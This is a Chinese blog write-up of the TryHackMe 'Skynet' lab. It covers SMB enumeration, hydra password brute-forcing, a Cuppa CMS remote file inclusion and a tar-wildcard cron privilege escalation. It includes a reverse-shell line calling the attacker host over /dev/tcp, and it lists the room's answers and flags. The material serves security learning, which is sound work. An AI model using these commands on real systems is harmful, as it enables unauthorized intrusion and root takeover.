THM-Skynet(天网)
侦查
对靶机进行端口扫描
开放有445\文件共享
服务,使用nmap
枚举该服务共享的文件夹
nmap --script=smb-enum-users,smb-enum-shares -p445 10.10.46.75
枚举出两个重要的目录anonymous、milesdyson
也可以使用smbclient -L //10.10.46.75
该命令进行枚举
访问anonymous任何人都可以访问的目录
smbclient //10.10.46.75/anonymous
发现含有attention.txt和logs目录,其中logs目录中有log1.txt、log2.txt、log3.txt,其中只有log1.txt中有内容,我们将其下载
attention.txt内容
A recent system malfunction has caused various passwords to be changed. All skynet employees are required to change their password after seeing this.
-Miles Dyson
log1.txt内容
log1.txt猜测应该是给我们提供的用户名或者密码的字典,翻译attention.txt内容
提示我们上一次的事故中所有人的密码被修改了,log1.txt应该是每个用户被修改的密码,提示我们使用log1.txt中的密码登录后修改密码,应该这个意思
使用smb枚举得到的用户名milesdyson
,获得到的log1.txt密码字典爆破ssh
服务
hydra -l milesdyson -P log1.txt 10.10.46.75 ssh
遗憾的是并没有爆破出密码
同样的道理,不过这次爆破smb
服务
hydra -l milesdyson -P log1.txt 10.10.46.75 smb
同样的遗憾,并没有爆破成功,那么我们需要另找出路了
靶机还开放着80\Web
,尝试或者一些有用的信息
查看源代码
action=#
所以无论我们如何搜索也无法提交,尝试访问一些敏感的目录和文件
robots.txt
获取目标的中间件信息,以及操作系统
admin目录
提示Forbidden,不允许我们访问该目录
那么我们只剩下最后一种方法,将目录枚举出来
使用gobuster
对Web
服务进行枚举
gobuster dir -u http://10.10.46.75 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e
扫描过程中爆出了/squirrelmail
的页面,访问查看
这是一个登录页面,尝试弱用户名密码admin:admin
登录
并没有成功,仔细想一想,刚刚log1.txt密码和用户名milesdyson
说不定是在这里用的
尝试使用hydra
爆破,获取登录表单传值
获取登录失败页面会返回的字符串,Unknown user or password incorrect
开始爆破
hydra -l milesdyson -P log1.txt 10.10.46.75 http-post-form "/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:F=Unknown user or password incorrect" -v
成功爆破出密码为cyborg007haloterminator
登录
登录后可以看到一些邮件,后面两个都是一些没用的信息,第一个邮件内容如下
至于什么意思,我也看不懂,但是身为一个学习网路安全的password
这么显眼的单词我是看到了
翻译后
紧接着上面的提示,更改的密码发到了用户的邮箱里,看来上面我们猜测的log1.txt内容为被修改的密码是不对的,这个才是
使用密码)s{A&2Z=F^n_E.B登录用户milesdyson
共享的文件夹
smbclient //10.10.46.75/milesdyson -U milesdyson
这里密码还是手动输入比较好,我复制一直没有成功
可以看到其中一些后缀名为.pdf的书籍,其中有一个notes
的目录,note(笔记)
的意思,这个目录很有可能有我们想要的内容
其中有很多.md
的文件,其中有一个important.txt
,important(重要)
的意思,那么这个文件到底多么重要,我们下载了解便知
重要信息,1. 添加功能到 beta CMS /45kra24zxs28v3yd,添加了一个新的CMS在/45kra24zxs28v3yd
页面
还要一个次要的信息3.多陪陪老婆,可能是多陪陪老婆的原因,这位先生才忘记更改发放的smb
服务的密码,哈哈(胡言乱语ing)
访问/45kra24zxs28v3yd
页面
好像并没有什么提示,说是添加了一个新的CMS,????在哪呢?,查看源代码试一试
什么都没有,啊?只有最有一个办法了,那就是对/45kra24zxs28v3yd
目录进行扫描
gobuster dir -u http://10.10.46.75/45kra24zxs28v3yd/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e
经过一会的扫描,得到了一个administrator
目录
初始访问权限
访问该目录
是一个名称Cuppa
的CMS,尝试使用弱密码admin:admin
或者是admin:123456
进行登录,但是并没有成功
使用searchsploit
搜索发现拥有远程文件包含漏洞
读取该漏洞的利用文档
文件包含页面为:/alerts/alertConfigField.php
,需要传入urlConfig
的值,该值文件包含的路径
使用提供包含/etc/passwd
的payload
进行测试
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
成功包含
现在我们需要使用该漏洞反弹一个shell
,修改php-reverse-shell.php
,使用netcat
进行监听,
开启本机的http.server
服务,然后对php-reverse-shell.php
进行远程文件包含
http://10.10.46.75/45kra24zxs28v3yd/administrator//alerts/alertConfigField.php?urlConfig=http://10.2.34.252:80/php-reverse-shell.php
成功回弹shell
,并且权限时www-data
用户
稳定SEHLL
现在我们需要对靶机进行提权
首先我们把终端切换为交换式终端
python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
CTRL + Z
,然后stty raw -echo; fg
成功获取交互式终端
权限提升
查找SUID
文件
find / -perm -04000 -type f 2>/dev/null
没有发现
查找拥有管理员权限的二进制
文件
getcap -r / 2>/dev/null
也没有可疑的信息
查看计划任务cat /etc/crontab
发现,系统会以root
身份运行/home/milesdyson/backups/backup.sh
文件
查看该文件的内容
使用的tar
命令进行的备份,在https://gtfobins.github.io/gtfobins/tar/ 找到对应的提权方法
进过观察,backup.sh
文件执行tar
命令是,最后的内容为*
通配符,*
代表所有的意思,这里他的意思是将所有的文件进行拷贝
我们可以利用该想法,根据paylaod
执行我们想要执行的命令,只需要在/var/www/html
目录创建文件名为--checkpoint=1
和--checkpoint-action=exec=/bin/sh
的文件
然后计划任务在执行的时候语法就变为了
tar cf /home/milesdyson/backups/backup.tgz --checkpoint=1 --checkpoint-action=exec=/bin/sh
但是这里计划任务执行/bin/sh
没有实际的作用
这里我们创建一个reverse.sh
的文件,内容为/bin/bash -i >& /dev/tcp/10.2.34.252/8888 0>&1
然后再本机监听8888
端口等待靶机上线
所以只需要创建三个文件,执行以下脚本即可
touch "/var/www/html/--checkpoint=1"
touch "/var/www/html/--checkpoint-action=exec=bash reverse.sh"
echo "/bin/bash -i >& /dev/tcp/10.2.34.252/8888 0>&1" > /var/www/html/reverse.sh
成功反弹shell
以下是该靶机问题的答案
1. What is Miles password for his emails?
cyborg007haloterminator
2. What is the hidden directory?
/45kra24zxs28v3yd
3. What is the vulnerability called when you can include a remote file for malicious purposes?
remote file inclusion
4. What is the user flag?
7ce5c2109a40f958099283600a9ae807
5. What is the root flag?
3f0372db24753accc7179a282cd6a949
一天就这样结束了,加油!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 单元测试从入门到精通
· 上周热点回顾(3.3-3.9)
· Vue3状态管理终极指南:Pinia保姆级教程
2022-03-30 vsftpd2.3.4 后门笑脸漏洞